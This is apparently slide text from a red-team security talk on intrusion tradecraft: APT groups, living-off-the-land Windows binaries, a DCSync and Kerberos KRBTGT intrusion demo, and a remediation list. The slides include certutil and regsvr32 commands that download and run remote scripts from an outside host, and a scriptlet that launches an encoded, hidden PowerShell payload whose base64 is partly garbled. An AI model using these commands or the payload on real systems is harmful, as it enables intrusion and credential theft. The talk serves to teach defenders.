RED TEAM



APT Groups & Operations

- APT 8200 ISRAEL
- Comment Crew China
- Energetic Bear Russia


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16C6206C6974746C65 16E642074616C773192A
A16C20Data BreachE204 6520 1A07072216145A
2E6F6163686573204C697474CC 5205 65CB74AF83
Cyber Attack696EA1 86FAF64206 6E013921F6
6564207368 206E61C F766 6C792 Protection
C6E207468652A 261736B60142E20480810D3F5A8
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02073 C732C20736852756B013 0AA206336 5206
16E642001A 719System Safety Compromised 1A7
E00F2A5694C028BE5BF7D011A0010A3BCE561AF8701
```

Introduction

- Red Team Design Concept
- Initial Foothold Tradecraft
- Adversary Trick and Treats
- Living off the Microsoft
- Adversary Trick and Treats
- Abusing Windows Native Binaries for exploitation
- The Intrusion Project Amnesia Demo
- Fun with KRBTG Password Equivalent Hash
- Remediation & Questions

Red Team Design Concept

- Design Consideration
- Functional Segregation
- Redirectors
- Domains & Profile



- SSL & Green address lock bar
- Signed binary ?

Initial Foothold Tradecraft

- External Web Server Compromise
- External Exchange Server MAPI/HTTP
- Targeted Phishing attack Quick demo
- Third Party Compromise and Pivoting
- Physical
- Many more 'Odays'

Adversary Trick and Treats

Why not to use Malware

Circumvent Existing Technical Controls

Malware workstation/Native tools to interrogate and control target server

• Insider detection is hard – Emulate legitimate admin activities?

Living off the Microsoft

- Windows workstation/Native binaries, tools to interrogate and compromise target server
- a.k.a PowerShell 'post exploitation framework'
- Regsvr32, Certutil, netview etc
- Circumvent Existing Technical Controls Applocker,

Abusing Windows Native Binaries for exploitation

- Certutil.exe –urlcache –split –f <u>"https://ambientcrypto.com/hack.ps1"</u> update.ps1
- Regsvr.exe /s /n /u /i: "https://ambientcrypto.com/hack.sct" scrobj.dll
- Windows Script Component XML

```
?XML version="1.0"?>
<scriptlet>
<registration
description="Win32COMDebug"
progid="Win32COMDebug"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
 <script language="JScript">
      <![CDATA[
           var r = new ActiveXObject("WScript.Shell").Run('powershell -noP -sta -w 1 -enc SQBGACqAJABQAFMAVqBlAHIAUwBJAE8AbqBUAEEAQqBsAGUA
Rqa9AFsAUqBlaGYAXQauAEEAUwBzAEUAbOBCAEwAeQauAEcAROB0AFQAeOBQAEUAKAanAFMAeQBzAHQAZQBtAC4ATOBhAG4AYOBnAGUAbOBlaG4AdAauAEEAdOB0AG8AbOBhAHQAaQE
OAGUAZABHAHIAbWB1AHAAUABVAGwAaQB|AHkAUwBlAHQAdABpAG4AZwBzACcALAANAE4AJwArACcAbwBuAFAAdQBiAGwAaQB|ACwAUwB0AGEAdABpAGMAJwApADsASQBmACqAJABHAF
WAKQA7AEKARGAOACQARWBQAEMAWWANAFMAYWBYAGKACAB0AEIAJWArACCAbABYAGMAOWBMAG8AZWBNAGKAbgBNACCAXQADAHSAJABHAFAAQWBbACCAUWBIAHIAOQBWAHQAQGANACSAJ
ABCACCAKWANAGWAbWBjAGSATABVAGCAZWBPAG4AZWANAF0APQAWADSAJABHAFAAQWBbACCAUWBjAHIAAQBWAHQAQGANACSAJWBSAG8AYWBTAEWAbWBNAGCAAQBUAGCAJWBdAFSAJWBF
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GUAbABSAFWAUWB]AHIAaQBWAHQAQQANACSAJWBSAG8AYWBrAEWAbWBNAGCAaQBUAGCAJWBdAD0AJABWAEEATAB9AEUATABTAEUAewBbA<u>FMAQWBSAGKAUABUAEIAbABPAGMAawBdAC4</u>A
```

The Intrusion – Project Amnesia

- OSINT
- Targeted Phishing campaign & Password reuse e.g. VPN ?
- Initial compromise on fully patched Windows 7
- Target is part of the local administrator UAC in place.
- Bypass UAC User Account Control whoami /groups Mandatory Lab\Medium
- Key log and wait for user activity no new process creations
- Pretend to be a Domain controller and ask for replication of all the AD user objects e.g. Password equivalent hashes. (Dcsync) Get-Replication-Changes-All
- WMI & Regsvr32 for lateral movement
- Empire Powershell C2

Fun with KRBTGT hash...

- KDC Handles all Kerberos Tickets requests
- AD uses KRBTGT account for Kerberos tickets
- Each DC has an associated KRBTGT account
- RODC have their own individual KRBTGT krbtgt_####
- KRTBTG OU Domain Users,
 Denied RODC pwd replication groups.
- 99.99% of the time pwd never changed since first build



Let me Repeat that.. If an unauthorized individual can login to a domain controller as Admin, your done! D-O-N-E

Remediation

- 2FA
- Least Privilege Principle
- You don't need regsvr32 or certutil
- You probably don't need PowerShell everywhere
- Upgrade to windows 10 and implement VSM Virtual Secure Module.
- Restricted/Language mode signed PowerShell script.
- DSRM Directory Service Restore Mode Monitor 4794 event
- Conduct Red Team engagement

Questions?

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